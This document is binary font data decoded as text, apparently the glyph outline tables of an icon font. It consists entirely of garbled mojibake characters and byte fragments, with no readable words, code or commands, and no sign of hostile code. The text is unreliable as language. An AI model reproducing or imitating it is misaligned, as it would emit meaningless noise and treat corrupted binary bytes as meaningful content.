	62#!"&!"&5463!2�4��@��&&�&&-��:��&&&�&�����	"'&4762����4��4����4��4��4Z��f�	"/&47	&4?62S�4����4����44��4���#/54&#!4&+"!"3!;265!26 $$ �&�&�&�&&&�&&@���^����a�a@�&&&�&�&�&&&+�^����a�a�����54&#!"3!26 $$ �&�&&&@���^����a�a@�&&�&&+�^����a�a�����+74/7654/&#"'&#"32?32?6 $$ }��Z��Z��Z��Z����^����a�a���Z��Z��Z��Z�^����a�a�����#4/&"'&"327> $$ [4�h�4[j����^����a�a"Z�i�Z��J�^����a�a�����:F%54&+";264.#"32767632;265467>$ $$ ���o�W��	5!"40K(0?i�+! ":����^����a�a����X�R�dD4!&.uC$=1/J=�^����a�a�����.:%54&+4&#!";#"3!2654&+";26 $$ `��``��������^����a�a�����������^����a�a�����/_#"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232�m&&m �l&�&l� m&&m �l&�&l�s&�%�&�&��%�&&�%�&�&��%�&&�&l� m&&m �l&�&l� m&&m �,�&��%�&&�%�&�&��%�&&�%�&���#/;"/"/&4?'&4?627626.  6 $$ I�

��

�

��

�

��

�

��
͒������(�r���^����a�aɒ

��

�

��

�

��

�

��
(��������_�^����a�a����� ,	"'&4?6262.  6 $$ ��Z4��f4�4fz�������(�r���^����a�a�Z&4f�f4�(��������_�^����a�a�����	"4'32>&#" $&6$  W���oɒV�󇥔�� z�����zz�8�����YW�˼�[����?����zz�:�zz�@�5K #!#"'&547632!2A4�@%&&K%54'�u%%�&54&K&&���4A��5K��$l$L%%�%54'�&&J&j&��K�5�K #"/&47!"&=463!&4?632�%�u'43'K&&%�@4AA4���&&K&45&�%@6%�u%%K&j&%K5�5K&$l$K&&�u#5��K@!#"'+"&5"/&547632K%K&56$��K5�5K��$l$K&&�#76%�%53'K&&%�@4AA4���&&K&45&�%%�u'5��K�"#"'&54?63246;2632K%�u'45%�u&&J'45%&L4�4L&%54'K%�5%�t%%�$65&K%%���4LL4�@&%%K'���,"&5#"#"'.'547!3462�4&�b��qb>#5���&4�4�&6Uu�e7D#		"�dž�&����/#!"&546262"/"/&47'&463!2�
���&�@&&4�L

r&4���

r

L�&�&�
���4&&�&�L

rI�@&���

r

L�4&&
���s/"/"/&47'&463!2#!"&546262&4���

r

L�&�&�
���&�@&&4�L

r@�@&���

r

L�4&&�
���4&&�&�L

r��##!+"&5!"&=463!46;2!2�8(�`8(�(8�`(88(�8(�(8�(8 �(8�`(88(�8(�(8�(88(�`8��#!"&=463!2�8(�@(88(�(8 �(88(�(88z���5'%+"&5&/&67-.?>46;2%6�.@g.��L4�4L��.g@.
��.@g.
L4�4L
.g@.���g.n.���4LL43�.n.g��g.n.�34LL4�͙.n.g����-  $54&+";264'&+";26/�a����^�����
�

�


�

�����^����a�a��
�
fm��
@
J%55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2���$�$�8�~+(88�8(+}�(�`8(��(8`�]��]k=��=k]��]��8���,8e�8P88P8�����`(88(�@���M��M����O4&#"327>76$32#"'.#"#".'.54>54&'&54>7>7>32&����z&^��&.������/+>*>J>	W��m7����'
'"''? &4&c��&^|h_b��ml/J@L@
#M6:D
35sҟw$	'%
'	\�t��3#!"&=463!2'.54>54''�
��

@
�1O``O1CZ��Z71O``O1BZ��Z7�@

@
N�]SHH[3`�)Tt��bN�]SHH[3^�)Tt���!1&' 547 $4&#"2654632 '&476 ���=������=嘅�����}�(zVl��'��'���ٌ@�uhy����yhu����9(�}Vz��D#���#D#�������	=CU%7.5474&#"2654632%#"'&547.'&476!27632#76$7&'7+NWb=嘧�}�(zV�i�\j1
z,��X��
Y[6
$!%���'F��u�J�iys�?_�9ɍ?�kyhu�n(�}Vz����YF
KA؉L�a
�0��2�-�F"@Q���sp@�_���!3%54&+";264'&+";26#!"&'&7>2
�

�


�
�
#%;"�";%#<F<������7


���??""??�$$ll2#"'&'	+&/&'&?632	&'&?67>`,@L�����5
`		��
`	�����L�`4�L��H`
����`	��
a	5�
��L@��#37;?Os!!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232� ��`@���� ��`@���� ���@����@�� ��@����
@

@
� ��@��� �� 
@

@
�L4��4LL4�^B@B^�^B@B^�4L� �� @@��@@ � � � @@  

��
��@@ �� � 

��
M�4LL44L`B^^B``B^^B`L���7q.+"&=46;2#"&=".'673!54632#"&=!"+"&=46;2>767>3!54632�<M33K,��	��	
 j8Z4L2B4:;M33K,?		��	
�0N<* .)C=W]xD��0N<* .)C=W]xD?\�-7H)��	��	
�".=']�-7H)�
��w	��	
�<?.>mBZxPV3!�<?.>mBZxPV3!�
���&#"'&'5&6&>7>7&54>$32�d�FK��1A
0)����L���.���٫�C58.H(Y���e����#3C $=463!22>=463!2#!"&5463!2#!"&5463!2���H���&�&/<R.*.R</&�&�&��&&�&&��&&�&������Bɀ&&�4L&&L4�&&f��&&�&&��&&�&&Z� %"'	"/&4762��4���4��4�ͥ���5��5Z����	"'&4?62	62��4��44���5����5��%K%#!".<=#"&54762+!2"'&546;!"/&5463!232
�@�&@<@&�@	����:��&���	�
��& 

��&���&�������&��	

��`&���:$"&462"&462!2#!"&54>7#"&463!2!2�LhLLh�LhLLh�!��
�&&�&��&&�&4hLLhLLhLLhL��%z<
0&4&&)17&4&
&&��#!"&5463!2!2��\�@\��\@\��\���@\��\�\��\ �W�*#!"&547>3!2!"4&5463!2!2W��+�B��"5P+�B@"5����^�=���\@\� \�H#�t3G#�3G:�_H�t�\��\ �@��+32"'&46;#"&4762�&��&�4�&��&4�4&�&4�4&&4�@�"&=!"'&4762!5462�4&�&4�4&&4�4�&��&4&��&����
!!!3!!��������������������������0@67&#".'&'#"'#"'32>54'6#!"&5463!28ADAE=\W{��O[/5dI
kDt���pČe1?*�w�@w��w�w��	(M&
B{Wta28r=Ku?RZ^Gw��T	-�@w��w�w�����$2+37#546375&#"#3!"&5463�w��w���/Dz?s�����w��w��w�@w�S�88�	�����w�w����#'.>4&#"26546326"&462!5!&  !5!!=!!%#!"&5463!2�B^8(�Ԗ���������>��������@�|�K5�5KK55K�^B(8Ԗ�Ԗ�€>�������v����5KK55KK�H��G4&"&#"2654'32#".'#"'#"&54$327.54632@p�p)*Ppp�p)*P�b	'"+`�N*(�a���;2��̓c`." b
PTY9��ppP*)p�ppP*)�b ".`�(*N��ͣ�2�ͣ����`+"'	b
MRZB�����4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2��Ԗ���LhLKjKLhLKjK��	�"8w
s%(�")v

�
>�
	�"8x
s"+�")v
�<�
��3zLLz3��
3>8L3)x3
��3zLLz3��
3>8L3)x3
�Ԗ�Ԗ�4LL45KK54LL45KK���
#)0C

wZl/
�
Y�	
N,&�
#)0C	vZl.
�
Y�	
L0"��qG^^Gq�q$ ]G)Fq�qG^^Gq�q$ ]G)Fq��%O#"'#"&'&4>7>7.546$ '&'&'# '32$7>54'�����VZ|�$2$
|��E~E<�|
$2$�|ZV���:�(t}�������X(	
&%(H�w�쉉��x�H(%&	(X�ZT\�MKG���<m$4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232&4&&4�N2��`@`%)7&,$)'  
%/0Ӄy�#5 +�1	&<��$]`�{t��5KK5$e:1&+'3T�F0�h��4&&4&�3M:�;b^v�+D2 5#$��I�IJ 2E=\$YJ!$MCeM��-+(K5�5K�K5y�*%A�u]c���=p4&"24&'>54'64&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2&4&&4�+ 5#bW���0/%
  ')$,&7)%`@``2N��h�0##�T3'"(0;e$��5KK5 t��ip��<&	1&4&&4&�#\=E2 JIURI��$#5 2D+�v^b;�:M2g�c]vDEA%!bSV2M�K5�5K(,,��MeCM$!J��@�#"&547&547%6@�?V��8������b%	I�)���94.""'."	67"'.54632>32�+C`\hxeH>Hexh\`C+�ED���4��
#L</��>�oP$$Po�>��Q|I.3MCCM3.I|Q����/����Z$_d�C�+I@$$@I+� (@%#!"&5463!2#!"3!:"&5!"&5463!462�
��w��w@

��B^^B 
���4&�@&&�&4 ` 
�w�w�
 
^B�@B^24��& &�& &�����%573#7.";2634&#"35#347>32#!"&5463!2���FtIG9;HI�x�I��<,tԩw�@w��w�w�z��4DD43EE�����ueB���&#1�s�@w��w�w�����.4&"26#!+"'!"&5463"&463!2#2��&�S3L�l&�c4LL4�4LL4c����@��&��&{�LhLLhL��'?#!"&5463!2#!"3!26546;2"/"/&47'&463!2��w��w��w��@B^^B@B^@�&4��t

r

��&&`��w��w@w�@^B��B^^B@R�&��t

r

��4&&@"&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!2���4&�@&&�&4 s�w��

@B^^B��

@w��4��& &�& &��3�@w�
 
^B�B^ 
�����
I&5!%5!>732#!"&=4632654&'&'.=463!5463!2!2�J���J���S��q*5&=CKu��uKC=&5*q͍S8( ^B@B^ (8���`N��`Ѣ�΀G�tO6)"M36J[E@@E[J63M")6Ot�G�(8`B^^B`8	���',2��6'&'&76'6'&6&'&6'&4#"7&64 654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=���X��Ě4,+"*+, 1JH'5G:�:#L5+@=&#���w�@w��w�w�P.1GE�,��ԧ��44+	;/5cFO:>JJ>:O9W5$@(b4��@w��w�w������'?$4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762&4&&4&&4&&4�8(�@(88(�c==c�(8��*�&�&�*�6�&4&&4&&4&&4& ��(88(@(88HH88`(�@&&�('��@����1d4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<�;+gC8�A`1a9�9�g��w����|�9�8aIe$I�VN��z<�:LQJ
	�,�-[%	061I��(�)W,$-������7,oIX(�)o�ζA;=N0
eTZ

(���O#".'&'&'&'.54767>3232>32�e^\3@P	bM���O0#382W#& 9C9
Lĉ"	82<*9FF(W283#0O�Mb	P@3\^eFF9*<28	"��L
9C9 &#��!"3!2654&#!"&5463!2`��B^^B@B^^ީw��w��w@w�^B��B^^B@B^���w��w@w�����#!72#"'	#"'.546763���YY�!''!0#�G�G$/!''!�&�UU�jZ	
8"��"8
 ��X!	
8"	"8
	���EU4'./.#"#".'.'.54>54.'.#"32676#!"&5463!2G55
:8c�7
)1)

05.D
<9�0)$9��w�@w��w�w�W+
AB
7�c
)$+
-.1 �9$)0���<
D.59�@w��w�w��,T1# '327.'327.=.547&54632676TC_L��Ҭ���#+�i�!+*p�DNBN,y[����`m`%i]hbE����m��}a�u&,�SXK��
&$��f9s?
_���#"!#!#!54632��V<%'����Э��HH���	�(ں����T\dksz�� &54654'>54'6'&&"."&'./"?'&546'&6'&6'&6'&6'&74"727&6/�a���49[aA)O%-j'&]�]5r-%O)@a[9'
0BA;+


>HC���U


	#	
	
$				2	
AC: �����oM�=a-6O�UwW[q	( -	q[WwU�P6$C

+) (	
8&/
&eM���a�	
&
$	

��%+"&54&"32#!"&5463!54 �&@&�Ԗ`(88(�@(88(�r��&&j��j�8(��(88(@(8��������#'+2#!"&5463"!54&#265!375!35!�B^^B��B^^B
�

��
`���^B�@B^^B�B^�
��
�
`��
�������!="&462+"&'&'.=476;+"&'&$'.=476;�p�pp�p�$���!�$qr�
�%���}�#ߺ���pp�p��!�E$�
�rq�ܢ#���
%�
ֻ��!)?"&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B�
�@

�
�2�����^B�@B^�\77\�aB//B//B//B/�@

��
��

�~��B^^B@2^5BB5��2���.42##%&'.67#"&=463! 2�5KK5L4�_�u:B&1/&��.-
zB^^B���4L��v��y�KjK��4L[!^k'!A3;):2*�<vTq6^B�B^�L4�$���)��*@��A4#"&54"3!4."#!"&5!"&5>547&5462�;U gI�v��0Z���Z0�L4�@�Ԗ�@4L2RX='�8P8��'=XR� U;Ig0,3lb??bl3���4Lj��jL4*\���(88(�����\���}I/#"/'&/'&?'&'&?'&76?'&7676767676`�
(�5)�0
)��*)
0�)5�(
��
(�5)�0
))��))
0�)5�(
��*)
0�)5�(��
)�5)�0
)*��*)
0�)5�)
��
)�5)�0
)*���5h$4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2&4&&4�N2��$YGB
(HGEG  H��Q�#5K4L��i�!<�����;��5KK5 
A#
("/?&}�vh��4&&4&�3M95S+C=�,@QQ9��@@�IJ 2E=L5i�>9eM��E;K5�5K	J7R>@#�zD<����7?s%3#".'.'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$��2NL4K5#aWTƾh&4&&4�K5��;����=!�i��hv�}&?/"(
#A
 5K��2*!Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&���5K;E��Lf9>�ig�<Dz�#@>R7J	K�5h4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326&4&&4��IJ 2E=L43M95S+C=�,@QQ9�@@�E;K5��5K	J7R>@#�zD<�gi�>9eM��Z4&&4&<�#5K4LN2��$YGB
(HGEG  H��V���;��5KK5 
A#
("/?&}�vh��i�!<��4<p4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2�@@��2*!	Q@.'!&=C+S59M34L.9E2 JI UR�&4&&4&��Lf6A�ig�6Jy�#@>R7J	K5�5K;E@TƾH  #A<(H(GY$��2NL4K#5#a=4&&4&�D��=�i��hv�}&?/"(
#A
 5KK5��;�����+54&#!764/&"2?64/!26 $$ &�
�[6��[[j6[��&���^����a�a@�&�4[��[6[��[6�&+�^����a�a�����+4/&"!"3!277$ $$ [��6[��
&&��[6j[
���^����a�ae6[j[6�&�&�4[j[��^����a�a�����+4''&"2?;2652?$ $$ ��[6[��[6�&�&�4[���^����a�af6j[[��6[��
&&��[��^����a�a�����+4/&"4&+"'&"2? $$ [6�&�&�4[j[6[j���^����a�ad6[��&&�
�[6��[[j��^����a�a������  $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/�a����^����D&"	


	4
	$!	#
	
		
	



 
.0"�Y
	+


!	
	

$	
	"
+


		
	�Α	
		
����^����a�a��

	

			
	

	

		
	
		P� '-(	#	*
$

"
!				
*
!	

(				

	
��$�
		
2
�~�/$4&"2	#"/&547#"32>32�&4&&4��V%54'j&&�'��/덹���:,���{	&4&&4&�V%%l$65&�b��'C��r!"��k[G�+;%!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2����������&��&&�&&��&&�&&��&&�&�������@�&&&&�&&&&�&&&&��{#"'&5&763!2{�'
��**�)��*��)'/!5!#!"&5!3!26=#!5!463!5463!2!2���^B�@B^�&@&`��^B`8(@(8`B^��� B^^B�&&�����B^�(88(�^���G	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'��c�)'&�@*������*�@&('�c���(&�*�cc�*�&'
����*�@&('�c���'(&�*�cc�*�&('���c�'(&�@*��19AS[#"&532327#!"&54>322>32"&462 &6 +&'654'32>32"&462Q�g�Rp|Kx;CB��y��y� 6Fe=
BP���PB
=eF6 ��Ԗ��V����>!pR�g�QBC;xK|��Ԗ���{QNa*+%��x��x5eud_C(+5++5+(C_due2Ԗ�Ԗ�����>�NQ{u�%+*jԖ�Ԗ��p�!Ci4/&#"#".'32?64/&#"327.546326#"/&547'#"/&4?632632��(* 8(!�)(��A�('��)* 8(!U�SxyS�SXXVzxT�TU�SxyS�SXXVzxT�@(� (8 *(���(��'(�(8 ���S�SU�Sx{VXXT�T�S�SU�Sx{VXXT���#!"5467&5432632�������t,Ԟ;F`j�)��������6�,��>�jK?�s��
�!%#!"&7#"&463!2+!'5#�8Ej��jE8�@&&&&@������XYY�&4&&4&�qD�S�%��q%��N\jx��2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''7�4&&4&l��
�NnbS���VZbR��SD	
zz
	DS��Rb)+U���Sbn�
��\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O�`��	`�����&4&&4�r$#@�B10M�5TNT{L�5T
	II	
T5�L;l'OT4�M01B�@#$�*�3;$*�3;�;3�*$;3�*$�:$/� @@�Qq`��@���"%3<2#!"&5!"&5467>3!263!	!!#!!46!#!�(88(�@(8��(8(�`(�(8D<���+����+�<��8(�`(��8(�`�8(�@(88( 8(�(`�(8(��(������<��`(8��(`����`(8����||?%#"'&54632#"'&#"32654'&#"#"'&54632|�u�d��qܟ�s]
=
��Ofj�L?R@T?��"&�
>
�f?rRX=Ed�u�ds���q��
=
_M�jiL��?T@R?E& �f
>
�=XRr?��b���!1E)!34&'.##!"&5#3463!24&+";26#!"&5463!2����
��
08(��(8��8(@(8��
�

�
�8(��(88(�(`(����1

�`(88(���(88(@

��
�`(88(@(8(��`���#!"&5463!2�w�@w��w�w�`�@w��w�w��/%#!"&=463!2#!"&=463!2#!"&=463!2&��&&�&&��&&�&&��&&�&��&&�&&�&&�&&�&&�&&��@'7G$"&462"&462#!"&=463!2"&462#!"&=463!2#!"&=463!2�p�pp�pp�pp��
�@

�
��p�pp��
�@

�

�@

�
Рpp�p��pp�p���

�
�pp�p���

�
�

�
��<L\l|#"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3<��/BB/.#U_:IdDRE�
�@
�
����k*G�j�
�@
�

�@

�
TP\BX-@8
C)5�XsJ@�$3T4+,:;39SG2S.7<���

�vcc)�(%L�l�}�

��

�
���5e2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&��@�0��2uBo
T25XzrDCBB�Eh:%��)0%HPIP{rQ�9f#-+>;I@KM-/Q"�@@@#-a[��$&P{<�8[;:XICC>.�'5oe71#.0(
l0&%,"J&9%$<=DTI���cs&/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%
<4�"VRt8<@<
-#=XYhW8+0$"+dT�Lx-'I&JKkm��uw<=V�@�!X@		v
'��|N;!/!$8:I�Ob�V;C#V

&
(���mL.A:9 !./KLwP�M�$��@@
��/?O_o��%54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2��@��@��@���@��@��@���@��@��@�^B��B^^B@B^�����������������������������N��B^^B@B^^���#+3	'$"/&4762%/?/?/?/?�%k��*��6�6��bbbb|��<<��<�bbbb��bbbb�%k���6���6Ƒbbb��<<��<<�^bbbbbb@��M$4&"2!#"4&"2&#"&5!"&5#".54634&>?>;5463!2�LhLLh����
	�	LhLLhL!'�Ԗ���Ԗ@'!&	
�?�&&LhLLhL�	�	
��hLLhL��	j��jj��j	&@6/"
��&&���J#"'676732>54.#"7>76'&54632#"&7>54&#"&54$ ���ok;	-j=y�hw�i�[+PM3ѩ���k=J%62>Vc��a�aQ�^��� ]G"�'9��r�~:`}�Ch�  0=Z�٤���W=#uY2BrUI1�^Fk[|��a�����L2#!67673254.#"67676'&54632#"&7>54&#"#"&5463�w��w�+U	,i<��F{�jh�}Z+OM

2ϧ���j<J%51=Ub�w��w��w�@w�zX"�'8'�T�yI9`{�Bf� 
,>X�բ���W<"uW1AqSH1�bd��w�w����'74'!3#"&46327&#"326%35#5##33#!"&5463!2����0U6c��c\=hl���ࠥ�Ymmnnnn�w�@w��w�w�w&�46#�Ȏ;ed����wnnnnn��@w��w�w����	]#/#"$&6$3 &#"32>7!5!%##5#5353����Е���tt����u�{�zz�{S�ZC�`�c�����o���t�*�t��q|��|.EXN#�??�������,<!5##673#$".4>2"&5!#2!46#!"&5463!2��r�M*
�*M~�~M**M~�~M*j����jj����&�&&&�`��P%��挐|NN|���|NN|�*�jj���jj�@��&&�&&@�
"'&463!2�@4�@&�Z4�@�4&@
#!"&4762&��&�4�Z4&&4��@@���
"'&4762�&4�@�4&@��&�4�&�@�
"&5462@�@4&&4��4�@&�&�@����
3!!%!!26#!"&5463!2�`��m��`
�^B��B^^B@B^���
 `���@B^^B�B^^��@
"'&463!2#!"&4762�@4�@&�&&��&�4��4�@�4&Z4&&4��@��
"'&463!2�@4�@&��4�@�4&@
#!"&4762&��&�4�Z4&&4��@��:#!"&5;2>76%6+".'&$'.5463!2^B�@B^,9j�9Gv33vG9�H9+bI��\
A+=66=+A
[��">nSM�A_:��B^^B1&�c*/11/*{�'VO�3��@/$$/@�*�?Nh^��l+!+"&5462!4&#"!/!#>32]��_gTRdg�d���QV?U��I*Gg?����!�2IbbIJaa���iwE33����00� 08����4#"$'&6?6332>4.#"#!"&54766$32z�䜬��m�
I�wh��QQ��hb�F�*�@&('�k�������z��
�	
_hQ��н�QGB�'(&�*�eoz�(���q!#"'&547"'#"'&54>7632&4762.547>32#".'632�%k'45%��&+�~(
(�h		&

\(
(�		&

~+54'k%5%l%%l$65+~

&		�(
(\

&		�h(
(~�+%��'��!)19K4&"24&"26.676&$4&"24&"24&"2#!"'&46$ �KjKKjKjKKj�e2.e<^P��,bKjKKj��KjKKjKjKKj��#��#���LlL�KjKKjKjKKjK��~-��M<M�(PM<rjKKjK�jKKjKujKKjK�������L���< 6?32$6&#"'#"&'5&6&>7>7&54$ L�h��я�W.�{+9E=�c��Q�d�FK��1A
0)���������p�J2`[Q?l&������٫�C58.H(Y��'����:d 6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Y����j`a#",5NK�
����~E�����VZ|�$2$
|��:
$2$�|ZV���:�(t}�����h�fR�88T
h�̲����X(	
&%(H�w��(%&	(X�ZT\�MKG�{x��|�!#"'.7#"'&7>3!2%632u��

�j
�H����{(e9
�1b���U#!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!2328(��(88(`�`(88(��(88(`�`(88(��(88(`L4`(88(@(88(`4L`(8 ��(88(@(8��8(��(88(@(8��8(��(88(@(8�4L�8(@(88(��(8�L4�8����OY"&546226562#"'.#"#"'.'."#"'.'.#"#"&5476$32&"5462��И&4&NdN!>!
1X:Dx++w�w++xD:X1
-�U��
�!�*,*&4&��h��h&&2NN2D&

..J<
$$
<JJ<
$$
<J..

��P���bb&&�7!!"&5!54&#!"3!26!	#!"&=!"&5463!2��`(8��
�@

�
+��8(�@(8��(88(@(8�(��8(� @

@
�m+�U�`(88(�8(@(88(��
�h`���(\"&54&#"&46324."367>767#"&'"&547&547&547.'&54>2�l4

2cK�Eo���oED
)
�
�
�
)
D�g-;</-
?.P^P.?
-/<;-gY�����Y�

.2 L4H|O--O|HeO,����,Oe�q1Ls26%%4.2,44,2.4%%62sL1q�c�qAAq����4#!#"'&547632!2#"&=!"&=463!54632
��
��		@	
`
	��	
��

`?`�
�

@	
	@	
�!	��	
�
�
�
����54&+4&+"#"276#!"5467&5432632�
�
�
	`		_
�������v,Ԝ;G_j�)��``

��
	��		_ԟ����7
�,��>�jL>���54'&";;265326#!"5467&5432632	��		��
�
�
�
�������v,Ԝ;G_j�)���	`		����

`������7
�,��>�jL>�����X`$"&462#!"&54>72654&'547 7"2654'54622654'54&'46.' &6 �&4&&4&�y��y�%:hD:Fp�pG9�F�j� 8P8 LhL 8P8 E;
Dh:%������>�4&&4&}y��yD~�s[4D�d=PppP=d�>hh>@�jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s�~����>�����M4&"27 $=.54632>32#"' 65#"&4632632 65.5462&4&&4�G9��������&
<#5KK5!��!5KK5#<
&ܤ��9Gp�p&4&&4&@>b�u��ោؐ&$KjK�nj��j�KjK$&����j��j�b>Ppp���
%!5!#"&5463!!35463!2+32����@\��\���8(@(8�\@@\������\@\���(88(��\��@��34#"&54"3#!"&5!"&5>547&5462�;U gI@L4�@�Ԗ�@4L2RX='�8P8��'=XR� U;Ig04Lj��jL4*\���(88(�����\��@"4&+32!#!"&+#!"&5463!2�pP@@P���j�j�@�@�\�@\�&��0�p����j��	��� \��\�&��-B+"&5.5462265462265462+"&5#"&5463!2�G9L4�4L9G&4&&4&&4&&4&&4&L4�4L�
��&���=d��4LL4d=�&&�`&&�&&�`&&�&&��4LL4
 ��&�#3CS#!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463�(8(��(88(�(`�x
��c�`(8���@��@��@�`(��(88(@(8(D��9�8(��`@�@@�@@��/?O_o��������-=%+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2�
@

@

@

@

@

@
�
@

@

@

@
�
@

@
�
@

@
�
@

@

@

@
�
@

@
�
@

@
�
@

@

@

@
�
@

@
�
@

@

@

@
�
@

@

@

@
�����
@
&�&&&�@

@
�@

@

@

@
�@

@
��@

@
�@

@
�@

@
�@

@
��@

@
�@

@
�@

@
�@

@
��@

@
�@

@
�@

@
��@

@
�@

@

@

@
����

`��&&�&&
��/?O_o�����%+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2�
@

@

@

@

@

@
�
@

@

@

@
�
@

@
�
@

@

@

@
�
@

@

@

@
���8(�@(8��
@

@
�
@

@
�
@
&�&&@8(�(8@&�@

@
�@

@

@

@
�@

@
��@

@
�@

@
�@

@
��@

@
�@

@

@

@
��� (88( ���

�@

``

��

``
-�&&& (88(��&@����<c$4&"2!#4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2�KjKKj�����KjKKj�������&��Ԗ���Ԗ�&&�@�&�&KjKKjK��
��jKKjK ������.��&j��jj��j&4&�@�@&&���#'1?I54&+54&+"#";;26=326!5!#"&5463!!35463!2+32����������� \��\����8(@(8�\  \����������\@\���(88(��\����:
#32+53##'53535'575#5#5733#5;2+3����@��E&&`�@@��`  ����  `��@@�`&&E%@�`@ @ @��		 �� � � � �� 		��@ :#@��!3!57#"&5'7!7!��K5�������@ � � @���5K�@����@@��� �����#3%4&+"!4&+";265!;26#!"&5463!2&�&�&�&&�&&�&�w�@w��w�w���&&��@&&��&&@��&&��@w��w�w�����#354&#!4&+"!"3!;265!26#!"&5463!2&��&�&��&&@&�&@&�w�@w��w�w�@�&@&&��&�&��&&@&:�@w��w�w��-M�3)$"'&4762	"'&4762	s
2

�.

�

2

�w��
2

�.

�

2

�w��
2

�

�

2

�w�w

2

�

�

2

�w�w
M�3)"/&47	&4?62"/&47	&4?62S
�.

2

��w

2

��
�.

2

��w

2

�M
�.

2

��

2

�.

�.

2

��

2

�.M�3S)$"'	"/&4762"'	"/&47623
2

�w�w

2

�

�

2

�w�w

2

�

��
2

��w

2

�

�.v
2

��w

2

�

�.M�3s)"'&4?62	62"'&4?62	623
�.

�.

2

��

2

�.

�.

2

��

2�
�.

�

2

�w�

2v
�.

�

2

�w�

2-Ms3	"'&4762s
�w�

2

�.

�

2�
�w�w

2

�

�

2
MS3"/&47	&4?62S
�.

2

��w

2

�M
�.

2

��

2

�.M
3S"'	"/&47623
2

�w�w

2

�

�m
2

��w

2

�

�.M-3s"'&4?62	623
�.

�.

2

��

2-
�.

�

2

�w�

2���/4&#!"3!26#!#!"&54>5!"&5463!2
��

@
�^B��  &�&  ��B^^B@B^ @

��
M��B^%Q=
&&<P&^B@B^^�+3"&5463!2#3!2654&#!"3#!"&=324+"3�B^^B@B^^B��
@

��
`�^B��B^�p�^B�B^^B�@B^`�@

�
�S`(88(``  ��'$4&"2%4&#!"3!26#!"&5463!2�&4&&4�
��

@
�^B��B^^B@B^f4&&4&��

�@
��B^^B@B^^/$4&"2%4&#!"3!264+";%#!"&5463!2�/B//B�
�


���0L4�4LL44L_B//B/��

�@
M   �4LL44LL���  >& $$ ������(���r���^����a�a��������(���^����a�a����!C#!"&54>;2+";2#!"&54>;2+";2pP��PpQ��h@&&@j�8(�Pp�pP��PpQ��h@&&@j�8(�Pp@��PppP�h��Q&�&�j (8pP��PppP�h��Q&�&�j (8p��!C+"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2Q��h@&&@j�8(�PppP�Pp�Q��h@&&@j�8(�PppP�Pp��@h��Q&�&�j (8pP�PppP�@h��Q&�&�j (8pP�Ppp@�@�	#+3;G$#"&5462"&462"&462#"&462"&462"&462"&462#"&54632K54LKj=KjKKj��KjKKj�L45KKjK�<^�^^��KjKKj��p�pp���\]��]\��jKL45K��jKKjKujKKjK��4LKjKK�^^�^��jKKjK��pp�p�r]��]\����� $$ ���^����a�aQ�^����a�a�����,#"&5465654.+"'&47623 #>bq��b�&4�4&�ɢ5����"		#D7e�uU6�&4&��m����1X".4>2".4>24&#""'&#";2>#".'&547&5472632>3�=T==T=�=T==T=��v)�G�G�+v�@b��R�R��b@�=&����\N����j!>�3l�k����i�k3�hPTDDTPTDDTPTDDTPTDD|x��xX�K--K��|Mp<#	)>dA{��RXtfOT# RNftWQ���,%4&#!"&=4&#!"3!26#!"&5463!2!28(�@(88(��(88(�(8��\�@\��\@\��\���(88(@(88(�@(88�@\��\�\��\ �u�'E4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!232�5��([��5@(\&��8(��(88(��(8,�9.��+�C��\��\@\� \��6Z]#+��#,k��(88(@(88(��;5E�>:��5E�\�\��\ �\�1. ���$4@"&'&676267>"&462"&462.  > $$ 